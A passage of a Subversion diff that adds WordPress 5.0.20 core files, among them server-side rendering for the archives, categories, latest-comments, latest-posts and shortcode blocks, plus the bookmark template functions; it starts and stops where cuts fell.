+		$output .= render_block( $block );
+	}
+
+	return $output;
+}
+
+/**
+ * If do_blocks() needs to remove wp_autop() from the `the_content` filter, this re-adds it afterwards,
+ * for subsequent `the_content` usage.
+ *
+ * @access private
+ *
+ * @since 5.0.0
+ *
+ * @param string $content The post content running through this filter.
+ * @return string The unmodified content.
+ */
+function _restore_wpautop_hook( $content ) {
+	global $wp_filter;
+	$current_priority = has_filter( 'the_content', '_restore_wpautop_hook' );
+
+	add_filter( 'the_content', 'wpautop', $current_priority - 1 );
+	remove_filter( 'the_content', '_restore_wpautop_hook', $current_priority );
+
+	return $content;
+}
+
+/**
+ * Returns the current version of the block format that the content string is using.
+ *
+ * If the string doesn't contain blocks, it returns 0.
+ *
+ * @since 5.0.0
+ *
+ * @param string $content Content to test.
+ * @return int The block format version is 1 if the content contains one or more blocks, 0 otherwise.
+ */
+function block_version( $content ) {
+	return has_blocks( $content ) ? 1 : 0;
+}
Index: /tags/5.0.20/src/wp-includes/blocks/archives.php
===================================================================
--- /tags/5.0.20/src/wp-includes/blocks/archives.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/blocks/archives.php	(revision 56912)
@@ -0,0 +1,147 @@
+<?php
+/**
+ * Server-side rendering of the `core/archives` block.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Renders the `core/archives` block on server.
+ *
+ * @see WP_Widget_Archives
+ *
+ * @param array $attributes The block attributes.
+ *
+ * @return string Returns the post content with archives added.
+ */
+function render_block_core_archives( $attributes ) {
+	$show_post_count = ! empty( $attributes['showPostCounts'] );
+
+	$class = 'wp-block-archives';
+
+	if ( isset( $attributes['align'] ) ) {
+		$class .= " align{$attributes['align']}";
+	}
+
+	if ( isset( $attributes['className'] ) ) {
+		$class .= " {$attributes['className']}";
+	}
+
+	if ( ! empty( $attributes['displayAsDropdown'] ) ) {
+
+		$class .= ' wp-block-archives-dropdown';
+
+		$dropdown_id = esc_attr( uniqid( 'wp-block-archives-' ) );
+		$title       = __( 'Archives' );
+
+		/** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */
+		$dropdown_args = apply_filters(
+			'widget_archives_dropdown_args',
+			array(
+				'type'            => 'monthly',
+				'format'          => 'option',
+				'show_post_count' => $show_post_count,
+			)
+		);
+
+		$dropdown_args['echo'] = 0;
+
+		$archives = wp_get_archives( $dropdown_args );
+
+		switch ( $dropdown_args['type'] ) {
+			case 'yearly':
+				$label = __( 'Select Year' );
+				break;
+			case 'monthly':
+				$label = __( 'Select Month' );
+				break;
+			case 'daily':
+				$label = __( 'Select Day' );
+				break;
+			case 'weekly':
+				$label = __( 'Select Week' );
+				break;
+			default:
+				$label = __( 'Select Post' );
+				break;
+		}
+
+		$label = esc_attr( $label );
+
+		$block_content = '<label class="screen-reader-text" for="' . $dropdown_id . '">' . $title . '</label>
+	<select id="' . $dropdown_id . '" name="archive-dropdown" onchange="document.location.href=this.options[this.selectedIndex].value;">
+	<option value="">' . $label . '</option>' . $archives . '</select>';
+
+		$block_content = sprintf(
+			'<div class="%1$s">%2$s</div>',
+			esc_attr( $class ),
+			$block_content
+		);
+	} else {
+
+		$class .= ' wp-block-archives-list';
+
+		/** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */
+		$archives_args = apply_filters(
+			'widget_archives_args',
+			array(
+				'type'            => 'monthly',
+				'show_post_count' => $show_post_count,
+			)
+		);
+
+		$archives_args['echo'] = 0;
+
+		$archives = wp_get_archives( $archives_args );
+
+		$classnames = esc_attr( $class );
+
+		if ( empty( $archives ) ) {
+
+			$block_content = sprintf(
+				'<div class="%1$s">%2$s</div>',
+				$classnames,
+				__( 'No archives to show.' )
+			);
+		} else {
+
+			$block_content = sprintf(
+				'<ul class="%1$s">%2$s</ul>',
+				$classnames,
+				$archives
+			);
+		}
+	}
+
+	return $block_content;
+}
+
+/**
+ * Register archives block.
+ */
+function register_block_core_archives() {
+	register_block_type(
+		'core/archives',
+		array(
+			'attributes'      => array(
+				'align'             => array(
+					'type' => 'string',
+				),
+				'className'         => array(
+					'type' => 'string',
+				),
+				'displayAsDropdown' => array(
+					'type'    => 'boolean',
+					'default' => false,
+				),
+				'showPostCounts'    => array(
+					'type'    => 'boolean',
+					'default' => false,
+				),
+			),
+			'render_callback' => 'render_block_core_archives',
+		)
+	);
+}
+
+add_action( 'init', 'register_block_core_archives' );
Index: /tags/5.0.20/src/wp-includes/blocks/block.php
===================================================================
--- /tags/5.0.20/src/wp-includes/blocks/block.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/blocks/block.php	(revision 56912)
@@ -0,0 +1,43 @@
+<?php
+/**
+ * Server-side rendering of the `core/block` block.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Renders the `core/block` block on server.
+ *
+ * @param array $attributes The block attributes.
+ *
+ * @return string Rendered HTML of the referenced block.
+ */
+function render_block_core_block( $attributes ) {
+	if ( empty( $attributes['ref'] ) ) {
+		return '';
+	}
+
+	$reusable_block = get_post( $attributes['ref'] );
+	if ( ! $reusable_block || 'wp_block' !== $reusable_block->post_type ) {
+		return '';
+	}
+
+	if ( 'publish' !== $reusable_block->post_status || ! empty( $reusable_block->post_password ) ) {
+		return '';
+	}
+
+	return do_blocks( $reusable_block->post_content );
+}
+
+register_block_type(
+	'core/block',
+	array(
+		'attributes'      => array(
+			'ref' => array(
+				'type' => 'number',
+			),
+		),
+
+		'render_callback' => 'render_block_core_block',
+	)
+);
Index: /tags/5.0.20/src/wp-includes/blocks/categories.php
===================================================================
--- /tags/5.0.20/src/wp-includes/blocks/categories.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/blocks/categories.php	(revision 56912)
@@ -0,0 +1,102 @@
+<?php
+/**
+ * Server-side rendering of the `core/categories` block.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Renders the `core/categories` block on server.
+ *
+ * @param array $attributes The block attributes.
+ *
+ * @return string Returns the categories list/dropdown markup.
+ */
+function render_block_core_categories( $attributes ) {
+	static $block_id = 0;
+	$block_id++;
+
+	$args = array(
+		'echo'         => false,
+		'hierarchical' => ! empty( $attributes['showHierarchy'] ),
+		'orderby'      => 'name',
+		'show_count'   => ! empty( $attributes['showPostCounts'] ),
+		'title_li'     => '',
+	);
+
+	if ( ! empty( $attributes['displayAsDropdown'] ) ) {
+		$id                       = 'wp-block-categories-' . $block_id;
+		$args['id']               = $id;
+		$args['show_option_none'] = __( 'Select Category' );
+		$wrapper_markup           = '<div class="%1$s">%2$s</div>';
+		$items_markup             = wp_dropdown_categories( $args );
+		$type                     = 'dropdown';
+
+		if ( ! is_admin() ) {
+			$wrapper_markup .= build_dropdown_script_block_core_categories( $id );
+		}
+	} else {
+		$wrapper_markup = '<ul class="%1$s">%2$s</ul>';
+		$items_markup   = wp_list_categories( $args );
+		$type           = 'list';
+	}
+
+	$class = "wp-block-categories wp-block-categories-{$type}";
+
+	if ( isset( $attributes['align'] ) ) {
+		$class .= " align{$attributes['align']}";
+	}
+
+	if ( isset( $attributes['className'] ) ) {
+		$class .= " {$attributes['className']}";
+	}
+
+	$block_content = sprintf(
+		$wrapper_markup,
+		esc_attr( $class ),
+		$items_markup
+	);
+
+	return $block_content;
+}
+
+/**
+ * Generates the inline script for a categories dropdown field.
+ *
+ * @param string $dropdown_id ID of the dropdown field.
+ *
+ * @return string Returns the dropdown onChange redirection script.
+ */
+function build_dropdown_script_block_core_categories( $dropdown_id ) {
+	ob_start();
+	?>
+	<script type='text/javascript'>
+	/* <![CDATA[ */
+	( function() {
+		var dropdown = document.getElementById( '<?php echo esc_js( $dropdown_id ); ?>' );
+		function onCatChange() {
+			if ( dropdown.options[ dropdown.selectedIndex ].value > 0 ) {
+				location.href = "<?php echo home_url(); ?>/?cat=" + dropdown.options[ dropdown.selectedIndex ].value;
+			}
+		}
+		dropdown.onchange = onCatChange;
+	})();
+	/* ]]> */
+	</script>
+	<?php
+	return ob_get_clean();
+}
+
+/**
+ * Registers the `core/categories` block on server.
+ */
+function register_block_core_categories() {
+	register_block_type(
+		'core/categories',
+		array(
+			'render_callback' => 'render_block_core_categories',
+		)
+	);
+}
+
+add_action( 'init', 'register_block_core_categories' );
Index: /tags/5.0.20/src/wp-includes/blocks/latest-comments.php
===================================================================
--- /tags/5.0.20/src/wp-includes/blocks/latest-comments.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/blocks/latest-comments.php	(revision 56912)
@@ -0,0 +1,182 @@
+<?php
+/**
+ * Server-side rendering of the `core/latest-comments` block.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Get the post title.
+ *
+ * The post title is fetched and if it is blank then a default string is
+ * returned.
+ *
+ * Copied from `wp-admin/includes/template.php`, but we can't include that
+ * file because:
+ *
+ * 1. It causes bugs with test fixture generation and strange Docker 255 error
+ *    codes.
+ * 2. It's in the admin; ideally we *shouldn't* be including files from the
+ *    admin for a block's output. It's a very small/simple function as well,
+ *    so duplicating it isn't too terrible.
+ *
+ * @since 3.3.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @return string The post title if set; "(no title)" if no title is set.
+ */
+function wp_latest_comments_draft_or_post_title( $post = 0 ) {
+	$title = get_the_title( $post );
+	if ( empty( $title ) ) {
+		$title = __( '(no title)' );
+	}
+	return esc_html( $title );
+}
+
+/**
+ * Renders the `core/latest-comments` block on server.
+ *
+ * @param array $attributes The block attributes.
+ *
+ * @return string Returns the post content with latest comments added.
+ */
+function render_block_core_latest_comments( $attributes = array() ) {
+	// This filter is documented in wp-includes/widgets/class-wp-widget-recent-comments.php.
+	$comments = get_comments(
+		apply_filters(
+			'widget_comments_args',
+			array(
+				'number'      => $attributes['commentsToShow'],
+				'status'      => 'approve',
+				'post_status' => 'publish',
+			)
+		)
+	);
+
+	$list_items_markup = '';
+	if ( ! empty( $comments ) ) {
+		// Prime the cache for associated posts. This is copied from \WP_Widget_Recent_Comments::widget().
+		$post_ids = array_unique( wp_list_pluck( $comments, 'comment_post_ID' ) );
+		_prime_post_caches( $post_ids, strpos( get_option( 'permalink_structure' ), '%category%' ), false );
+
+		foreach ( $comments as $comment ) {
+			$list_items_markup .= '<li class="wp-block-latest-comments__comment">';
+			if ( $attributes['displayAvatar'] ) {
+				$avatar = get_avatar(
+					$comment,
+					48,
+					'',
+					'',
+					array(
+						'class' => 'wp-block-latest-comments__comment-avatar',
+					)
+				);
+				if ( $avatar ) {
+					$list_items_markup .= $avatar;
+				}
+			}
+
+			$list_items_markup .= '<article>';
+			$list_items_markup .= '<footer class="wp-block-latest-comments__comment-meta">';
+			$author_url         = get_comment_author_url( $comment );
+			if ( empty( $author_url ) && ! empty( $comment->user_id ) ) {
+				$author_url = get_author_posts_url( $comment->user_id );
+			}
+
+			$author_markup = '';
+			if ( $author_url ) {
+				$author_markup .= '<a class="wp-block-latest-comments__comment-author" href="' . esc_url( $author_url ) . '">' . get_comment_author( $comment ) . '</a>';
+			} else {
+				$author_markup .= '<span class="wp-block-latest-comments__comment-author">' . get_comment_author( $comment ) . '</span>';
+			}
+
+			// `_draft_or_post_title` calls `esc_html()` so we don't need to wrap that call in
+			// `esc_html`.
+			$post_title = '<a class="wp-block-latest-comments__comment-link" href="' . esc_url( get_comment_link( $comment ) ) . '">' . wp_latest_comments_draft_or_post_title( $comment->comment_post_ID ) . '</a>';
+
+			$list_items_markup .= sprintf(
+				/* translators: 1: author name (inside <a> or <span> tag, based on if they have a URL), 2: post title related to this comment */
+				__( '%1$s on %2$s' ),
+				$author_markup,
+				$post_title
+			);
+
+			if ( $attributes['displayDate'] ) {
+				$list_items_markup .= sprintf(
+					'<time datetime="%1$s" class="wp-block-latest-comments__comment-date">%2$s</time>',
+					esc_attr( get_comment_date( 'c', $comment ) ),
+					date_i18n( get_option( 'date_format' ), get_comment_date( 'U', $comment ) )
+				);
+			}
+			$list_items_markup .= '</footer>';
+			if ( $attributes['displayExcerpt'] ) {
+				$list_items_markup .= '<div class="wp-block-latest-comments__comment-excerpt">' . wpautop( get_comment_excerpt( $comment ) ) . '</div>';
+			}
+			$list_items_markup .= '</article></li>';
+		}
+	}
+
+	$class = 'wp-block-latest-comments';
+	if ( isset( $attributes['align'] ) ) {
+		$class .= " align{$attributes['align']}";
+	}
+	if ( $attributes['displayAvatar'] ) {
+		$class .= ' has-avatars';
+	}
+	if ( $attributes['displayDate'] ) {
+		$class .= ' has-dates';
+	}
+	if ( $attributes['displayExcerpt'] ) {
+		$class .= ' has-excerpts';
+	}
+	if ( empty( $comments ) ) {
+		$class .= ' no-comments';
+	}
+	$classnames = esc_attr( $class );
+
+	$block_content = ! empty( $comments ) ? sprintf(
+		'<ol class="%1$s">%2$s</ol>',
+		$classnames,
+		$list_items_markup
+	) : sprintf(
+		'<div class="%1$s">%2$s</div>',
+		$classnames,
+		__( 'No comments to show.' )
+	);
+
+	return $block_content;
+}
+
+register_block_type(
+	'core/latest-comments',
+	array(
+		'attributes'      => array(
+			'className'      => array(
+				'type' => 'string',
+			),
+			'commentsToShow' => array(
+				'type'    => 'number',
+				'default' => 5,
+				'minimum' => 1,
+				'maximum' => 100,
+			),
+			'displayAvatar'  => array(
+				'type'    => 'boolean',
+				'default' => true,
+			),
+			'displayDate'    => array(
+				'type'    => 'boolean',
+				'default' => true,
+			),
+			'displayExcerpt' => array(
+				'type'    => 'boolean',
+				'default' => true,
+			),
+			'align'          => array(
+				'type' => 'string',
+				'enum' => array( 'center', 'left', 'right', 'wide', 'full', '' ),
+			),
+		),
+		'render_callback' => 'render_block_core_latest_comments',
+	)
+);
Index: /tags/5.0.20/src/wp-includes/blocks/latest-posts.php
===================================================================
--- /tags/5.0.20/src/wp-includes/blocks/latest-posts.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/blocks/latest-posts.php	(revision 56912)
@@ -0,0 +1,132 @@
+<?php
+/**
+ * Server-side rendering of the `core/latest-posts` block.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Renders the `core/latest-posts` block on server.
+ *
+ * @param array $attributes The block attributes.
+ *
+ * @return string Returns the post content with latest posts added.
+ */
+function render_block_core_latest_posts( $attributes ) {
+	$args = array(
+		'numberposts' => $attributes['postsToShow'],
+		'post_status' => 'publish',
+		'order'       => $attributes['order'],
+		'orderby'     => $attributes['orderBy'],
+	);
+
+	if ( isset( $attributes['categories'] ) ) {
+		$args['category'] = $attributes['categories'];
+	}
+
+	$recent_posts = wp_get_recent_posts( $args );
+
+	$list_items_markup = '';
+
+	foreach ( $recent_posts as $post ) {
+		$post_id = $post['ID'];
+
+		$title = get_the_title( $post_id );
+		if ( ! $title ) {
+			$title = __( '(Untitled)' );
+		}
+		$list_items_markup .= sprintf(
+			'<li><a href="%1$s">%2$s</a>',
+			esc_url( get_permalink( $post_id ) ),
+			esc_html( $title )
+		);
+
+		if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) {
+			$list_items_markup .= sprintf(
+				'<time datetime="%1$s" class="wp-block-latest-posts__post-date">%2$s</time>',
+				esc_attr( get_the_date( 'c', $post_id ) ),
+				esc_html( get_the_date( '', $post_id ) )
+			);
+		}
+
+		$list_items_markup .= "</li>\n";
+	}
+
+	$class = 'wp-block-latest-posts';
+	if ( isset( $attributes['align'] ) ) {
+		$class .= ' align' . $attributes['align'];
+	}
+
+	if ( isset( $attributes['postLayout'] ) && 'grid' === $attributes['postLayout'] ) {
+		$class .= ' is-grid';
+	}
+
+	if ( isset( $attributes['columns'] ) && 'grid' === $attributes['postLayout'] ) {
+		$class .= ' columns-' . $attributes['columns'];
+	}
+
+	if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) {
+		$class .= ' has-dates';
+	}
+
+	if ( isset( $attributes['className'] ) ) {
+		$class .= ' ' . $attributes['className'];
+	}
+
+	$block_content = sprintf(
+		'<ul class="%1$s">%2$s</ul>',
+		esc_attr( $class ),
+		$list_items_markup
+	);
+
+	return $block_content;
+}
+
+/**
+ * Registers the `core/latest-posts` block on server.
+ */
+function register_block_core_latest_posts() {
+	register_block_type(
+		'core/latest-posts',
+		array(
+			'attributes'      => array(
+				'categories'      => array(
+					'type' => 'string',
+				),
+				'className'       => array(
+					'type' => 'string',
+				),
+				'postsToShow'     => array(
+					'type'    => 'number',
+					'default' => 5,
+				),
+				'displayPostDate' => array(
+					'type'    => 'boolean',
+					'default' => false,
+				),
+				'postLayout'      => array(
+					'type'    => 'string',
+					'default' => 'list',
+				),
+				'columns'         => array(
+					'type'    => 'number',
+					'default' => 3,
+				),
+				'align'           => array(
+					'type' => 'string',
+				),
+				'order'           => array(
+					'type'    => 'string',
+					'default' => 'desc',
+				),
+				'orderBy'         => array(
+					'type'    => 'string',
+					'default' => 'date',
+				),
+			),
+			'render_callback' => 'render_block_core_latest_posts',
+		)
+	);
+}
+
+add_action( 'init', 'register_block_core_latest_posts' );
Index: /tags/5.0.20/src/wp-includes/blocks/shortcode.php
===================================================================
--- /tags/5.0.20/src/wp-includes/blocks/shortcode.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/blocks/shortcode.php	(revision 56912)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * Server-side rendering of the `core/shortcode` block.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Performs wpautop() on the shortcode block content.
+ *
+ * @param array  $attributes The block attributes.
+ * @param string $content    The block content.
+ *
+ * @return string Returns the block content.
+ */
+function render_block_core_shortcode( $attributes, $content ) {
+	return wpautop( $content );
+}
+
+/**
+ * Registers the `core/shortcode` block on server.
+ */
+function register_block_core_shortcode() {
+	register_block_type(
+		'core/shortcode',
+		array(
+			'render_callback' => 'render_block_core_shortcode',
+		)
+	);
+}
+
+add_action( 'init', 'register_block_core_shortcode' );
Index: /tags/5.0.20/src/wp-includes/bookmark-template.php
===================================================================
--- /tags/5.0.20/src/wp-includes/bookmark-template.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/bookmark-template.php	(revision 56912)
@@ -0,0 +1,304 @@
+<?php
+/**
+ * Bookmark Template Functions for usage in Themes
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * The formatted output of a list of bookmarks.
+ *
+ * The $bookmarks array must contain bookmark objects and will be iterated over
+ * to retrieve the bookmark to be used in the output.
+ *
+ * The output is formatted as HTML with no way to change that format. However,
+ * what is between, before, and after can be changed. The link itself will be
+ * HTML.
+ *
+ * This function is used internally by wp_list_bookmarks() and should not be
+ * used by themes.
+ *
+ * @since 2.1.0
+ * @access private
+ *
+ * @param array $bookmarks List of bookmarks to traverse.
+ * @param string|array $args {
+ *     Optional. Bookmarks arguments.
+ *
+ *     @type int|bool $show_updated     Whether to show the time the bookmark was last updated.
+ *                                      Accepts 1|true or 0|false. Default 0|false.
+ *     @type int|bool $show_description Whether to show the bookmakr description. Accepts 1|true,
+ *                                      Accepts 1|true or 0|false. Default 0|false.
+ *     @type int|bool $show_images      Whether to show the link image if available. Accepts 1|true
+ *                                      or 0|false. Default 1|true.
+ *     @type int|bool $show_name        Whether to show link name if available. Accepts 1|true or
+ *                                      0|false. Default 0|false.
+ *     @type string   $before           The HTML or text to prepend to each bookmark. Default `<li>`.
+ *     @type string   $after            The HTML or text to append to each bookmark. Default `</li>`.
+ *     @type string   $link_before      The HTML or text to prepend to each bookmark inside the anchor
+ *                                      tags. Default empty.
+ *     @type string   $link_after       The HTML or text to append to each bookmark inside the anchor
+ *                                      tags. Default empty.
+ *     @type string   $between          The string for use in between the link, description, and image.
+ *                                      Default "\n".
+ *     @type int|bool $show_rating      Whether to show the link rating. Accepts 1|true or 0|false.
+ *                                      Default 0|false.
+ *
+ * }
+ * @return string Formatted output in HTML
+ */
+function _walk_bookmarks( $bookmarks, $args = '' ) {
+	$defaults = array(
+		'show_updated' => 0, 'show_description' => 0,
+		'show_images' => 1, 'show_name' => 0,
+		'before' => '<li>', 'after' => '</li>', 'between' => "\n",
+		'show_rating' => 0, 'link_before' => '', 'link_after' => ''
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	$output = ''; // Blank string to start with.
+
+	foreach ( (array) $bookmarks as $bookmark ) {
+		if ( ! isset( $bookmark->recently_updated ) ) {
+			$bookmark->recently_updated = false;
+		}
+		$output .= $r['before'];
+		if ( $r['show_updated'] && $bookmark->recently_updated ) {
+			$output .= '<em>';
+		}
+		$the_link = '#';
+		if ( ! empty( $bookmark->link_url ) ) {
+			$the_link = esc_url( $bookmark->link_url );
+		}
+		$desc = esc_attr( sanitize_bookmark_field( 'link_description', $bookmark->link_description, $bookmark->link_id, 'display' ) );
+		$name = esc_attr( sanitize_bookmark_field( 'link_name', $bookmark->link_name, $bookmark->link_id, 'display' ) );
+ 		$title = $desc;
+
+		if ( $r['show_updated'] ) {
+			if ( '00' != substr( $bookmark->link_updated_f, 0, 2 ) ) {
+				$title .= ' (';
+				$title .= sprintf(
+					__('Last updated: %s'),
+					date(
+						get_option( 'links_updated_date_format' ),
+						$bookmark->link_updated_f + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS )
+					)
+				);
+				$title .= ')';
+			}
+		}
+		$alt = ' alt="' . $name . ( $r['show_description'] ? ' ' . $title : '' ) . '"';
+
+		if ( '' != $title ) {
+			$title = ' title="' . $title . '"';
+		}
+		$rel = $bookmark->link_rel;
+		if ( '' != $rel ) {
+			$rel = ' rel="' . esc_attr($rel) . '"';
+		}
+		$target = $bookmark->link_target;
+		if ( '' != $target ) {
+			$target = ' target="' . $target . '"';
+		}
+		$output .= '<a href="' . $the_link . '"' . $rel . $title . $target . '>';
+
+		$output .= $r['link_before'];
+
+		if ( $bookmark->link_image != null && $r['show_images'] ) {
+			if ( strpos( $bookmark->link_image, 'http' ) === 0 ) {
+				$output .= "<img src=\"$bookmark->link_image\" $alt $title />";
+			} else { // If it's a relative path
+				$output .= "<img src=\"" . get_option('siteurl') . "$bookmark->link_image\" $alt $title />";
+			}
+			if ( $r['show_name'] ) {
+				$output .= " $name";
+			}
+		} else {
+			$output .= $name;
+		}
+
+		$output .= $r['link_after'];
+
+		$output .= '</a>';
+
+		if ( $r['show_updated'] && $bookmark->recently_updated ) {
+			$output .= '</em>';
+		}
+
+		if ( $r['show_description'] && '' != $desc ) {
+			$output .= $r['between'] . $desc;
+		}
+
+		if ( $r['show_rating'] ) {
+			$output .= $r['between'] . sanitize_bookmark_field(
+				'link_rating',
+				$bookmark->link_rating,
+				$bookmark->link_id,
+				'display'
+			);
+		}
+		$output .= $r['after'] . "\n";
+	} // end while
+
+	return $output;
+}
+
+/**
+ * Retrieve or echo all of the bookmarks.
+ *
+ * List of default arguments are as follows:
+ *
+ * These options define how the Category name will appear before the category
+ * links are displayed, if 'categorize' is 1. If 'categorize' is 0, then it will
+ * display for only the 'title_li' string and only if 'title_li' is not empty.
+ *
+ * @since 2.1.0
+ *
+ * @see _walk_bookmarks()
+ *
+ * @param string|array $args {
+ *     Optional. String or array of arguments to list bookmarks.
+ *
+ *     @type string   $orderby          How to order the links by. Accepts post fields. Default 'name'.
+ *     @type string   $order            Whether to order bookmarks in ascending or descending order.
+ *                                      Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'.
+ *     @type int      $limit            Amount of bookmarks to display. Accepts 1+ or -1 for all.
+ *                                      Default -1.
+ *     @type string   $category         Comma-separated list of category ids to include links from.
+ *                                      Default empty.
+ *     @type string   $category_name    Category to retrieve links for by name. Default empty.
+ *     @type int|bool $hide_invisible   Whether to show or hide links marked as 'invisible'. Accepts
+ *                                      1|true or 0|false. Default 1|true.
+ *     @type int|bool $show_updated     Whether to display the time the bookmark was last updated.
+ *                                      Accepts 1|true or 0|false. Default 0|false.
+ *     @type int|bool $echo             Whether to echo or return the formatted bookmarks. Accepts
+ *                                      1|true (echo) or 0|false (return). Default 1|true.
+ *     @type int|bool $categorize       Whether to show links listed by category or in a single column.
+ *                                      Accepts 1|true (by category) or 0|false (one column). Default 1|true.
+ *     @type int|bool $show_description Whether to show the bookmark descriptions. Accepts 1|true or 0|false.
+ *                                      Default 0|false.
+ *     @type string   $title_li         What to show before the links appear. Default 'Bookmarks'.
+ *     @type string   $title_before     The HTML or text to prepend to the $title_li string. Default '<h2>'.
+ *     @type string   $title_after      The HTML or text to append to the $title_li string. Default '</h2>'.
+ *     @type string   $class            The CSS class to use for the $title_li. Default 'linkcat'.
+ *     @type string   $category_before  The HTML or text to prepend to $title_before if $categorize is true.
+ *                                      String must contain '%id' and '%class' to inherit the category ID and
+ *                                      the $class argument used for formatting in themes.
+ *                                      Default '<li id="%id" class="%class">'.
+ *     @type string   $category_after   The HTML or text to append to $title_after if $categorize is true.
+ *                                      Default '</li>'.
+ *     @type string   $category_orderby How to order the bookmark category based on term scheme if $categorize
+ *                                      is true. Default 'name'.
+ *     @type string   $category_order   Whether to order categories in ascending or descending order if
+ *                                      $categorize is true. Accepts 'ASC' (ascending) or 'DESC' (descending).
+ *                                      Default 'ASC'.
+ * }
+ * @return string|void Will only return if echo option is set to not echo. Default is not return anything.
+ */
+function wp_list_bookmarks( $args = '' ) {
+	$defaults = array(
+		'orderby' => 'name', 'order' => 'ASC',
+		'limit' => -1, 'category' => '', 'exclude_category' => '',
+		'category_name' => '', 'hide_invisible' => 1,
+		'show_updated' => 0, 'echo' => 1,
+		'categorize' => 1, 'title_li' => __('Bookmarks'),
+		'title_before' => '<h2>', 'title_after' => '</h2>',
+		'category_orderby' => 'name', 'category_order' => 'ASC',
+		'class' => 'linkcat', 'category_before' => '<li id="%id" class="%class">',
+		'category_after' => '</li>'
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	$output = '';
+
+	if ( ! is_array( $r['class'] ) ) {
+		$r['class'] = explode( ' ', $r['class'] );
+	}
+ 	$r['class'] = array_map( 'sanitize_html_class', $r['class'] );
+ 	$r['class'] = trim( join( ' ', $r['class'] ) );
+
+	if ( $r['categorize'] ) {
+		$cats = get_terms( 'link_category', array(
+			'name__like' => $r['category_name'],
+			'include' => $r['category'],
+			'exclude' => $r['exclude_category'],
+			'orderby' => $r['category_orderby'],
+			'order' => $r['category_order'],
+			'hierarchical' => 0
+		) );
+		if ( empty( $cats ) ) {
+			$r['categorize'] = false;
+		}
+	}
+
+	if ( $r['categorize'] ) {
+		// Split the bookmarks into ul's for each category
+		foreach ( (array) $cats as $cat ) {
+			$params = array_merge( $r, array( 'category' => $cat->term_id ) );
+			$bookmarks = get_bookmarks( $params );
+			if ( empty( $bookmarks ) ) {
+				continue;
+			}
+			$output .= str_replace(
+				array( '%id', '%class' ),
+				array( "linkcat-$cat->term_id", $r['class'] ),
+				$r['category_before']
+			);
+			/**
+			 * Filters the bookmarks category name.
+			 *
+			 * @since 2.2.0
+			 *
+			 * @param string $cat_name The category name of bookmarks.
+			 */
+			$catname = apply_filters( 'link_category', $cat->name );
+
+			$output .= $r['title_before'];
+			$output .= $catname;
+			$output .= $r['title_after'];
+			$output .= "\n\t<ul class='xoxo blogroll'>\n";
+			$output .= _walk_bookmarks( $bookmarks, $r );
+			$output .= "\n\t</ul>\n";
+			$output .= $r['category_after'] . "\n";
+		}
+	} else {
+		//output one single list using title_li for the title
+		$bookmarks = get_bookmarks( $r );
+
+		if ( ! empty( $bookmarks ) ) {
+			if ( ! empty( $r['title_li'] ) ) {
+				$output .= str_replace(
+					array( '%id', '%class' ),
+					array( "linkcat-" . $r['category'], $r['class'] ),
+					$r['category_before']
+				);
+				$output .= $r['title_before'];
+				$output .= $r['title_li'];
+				$output .= $r['title_after'];
+				$output .= "\n\t<ul class='xoxo blogroll'>\n";
+				$output .= _walk_bookmarks( $bookmarks, $r );
+				$output .= "\n\t</ul>\n";
+				$output .= $r['category_after'] . "\n";
+			} else {
+				$output .= _walk_bookmarks( $bookmarks, $r );
+			}
+		}
+	}
+
+	/**
+	 * Filters the bookmarks list before it is echoed or returned.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $html The HTML list of bookmarks.
+	 */
+	$html = apply_filters( 'wp_list_bookmarks', $output );
+
+	if ( ! $r['echo'] ) {
+		return $html;
+	}
+	echo $html;
+}
Index: /tags/5.0.20/src/wp-includes/bookmark.php
===================================================================
--- /tags/5.0.20/src/wp-includes/bookmark.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/bookmark.php	(revision 56912)
@@ -0,0 +1,421 @@
+<?php
+/**
+ * Link/Bookmark API
+ *
+ * @package WordPress
+ * @subpackage Bookmark
+ */
+
+/**
+ * Retrieve Bookmark data
+ *
+ * @since 2.1.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|stdClass $bookmark
+ * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
+ *                       an stdClass object, an associative array, or a numeric array, respectively. Default OBJECT.
+ * @param string $filter Optional, default is 'raw'.
+ * @return array|object|null Type returned depends on $output value.
+ */
+function get_bookmark($bookmark, $output = OBJECT, $filter = 'raw') {
+	global $wpdb;
+
+	if ( empty($bookmark) ) {
+		if ( isset($GLOBALS['link']) )
+			$_bookmark = & $GLOBALS['link'];
+		else
+			$_bookmark = null;
+	} elseif ( is_object($bookmark) ) {
+		wp_cache_add($bookmark->link_id, $bookmark, 'bookmark');
+		$_bookmark = $bookmark;
+	} else {
+		if ( isset($GLOBALS['link']) && ($GLOBALS['link']->link_id == $bookmark) ) {
+			$_bookmark = & $GLOBALS['link'];
+		} elseif ( ! $_bookmark = wp_cache_get($bookmark, 'bookmark') ) {
+			$_bookmark = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->links WHERE link_id = %d LIMIT 1", $bookmark));
+			if ( $_bookmark ) {
+				$_bookmark->link_category = array_unique( wp_get_object_terms( $_bookmark->link_id, 'link_category', array( 'fields' => 'ids' ) ) );
